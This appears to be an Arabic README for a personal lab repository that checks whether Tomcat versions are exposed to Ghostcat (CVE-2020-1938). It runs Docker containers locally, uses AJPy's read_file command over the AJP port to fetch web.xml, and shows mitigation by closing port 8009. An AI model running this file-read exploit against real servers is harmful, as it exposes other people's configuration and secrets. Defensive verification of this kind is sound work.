
دروس مستفادة حول كيفية التحقق من التعرض لثغرة Ghostcat (المعروفة أيضًا باسم CVE-2020-1938)
تم اكتشاف استغلال جديد يُسمى Ghostcat CVE-2020-1938، راجع المقالات على snyk وtenable للحصول على تفاصيل وتحليل الاستغلال نفسه.
في حالتي، أردت التحقق من خوادم Tomcat التي يمكن استغلالها، وإذا كان الأمر كذلك، فكيف يظهر الاستغلال. لذا هذه التجربة هي لفحص Tomcat 7 و8 و9.
TODO: كيف تتحقق من أن Tomcat 7 معرض للثغرة؟
بدلاً من اختبار الاستغلالات على خوادم حية، أستخدم نسخًا جاهزة من Tomcat لإجراء تجربتي باستخدام AJPy الذي ينشئ طلبات AJP للتواصل مع موصلات AJP.
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
إذا أرجعت هذه الأوامر ملف web.xml، فإن هذا الإصدار من Tomcat معرض للثغرة.
إذا جرّبنا الاختبار نفسه باستخدام أحدث إصدار من Tomcat 8.5، فسنرى أنه ليس معرضًا لهذا الخطأ تحديدًا.
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
في هذه الحالة، يجب أن نحصل على خطأ من Python، وهو ما يعني في الواقع أن الخادم غير معرض للثغرة؛
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: كيف تتحقق من أن Tomcat 9 معرض للثغرة؟
TODO: كيف تتحقق من أن خدمة Springboot معرضة للثغرة؟
من الواضح أنه إذا كان الخادم معرضًا للثغرة (بغض النظر عن الإصدار)، فيجب أن تفكر في الترقية إلى الإصدارات المصححة. وهناك خيار آخر وهو حظر الوصول إلى منفذ AJP.
شغّل نفس إصدار Tomcat ولكن دون كشف منفذ AJP 8009.
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
في هذه الحالة، سنجد أن الاستغلال سيفشل.
أنا لست متخصصًا في الأمن، وقد أُنشئ هذا المستودع لأغراض تعلمي، وليس المقصود استخدامه لأغراض خبيثة.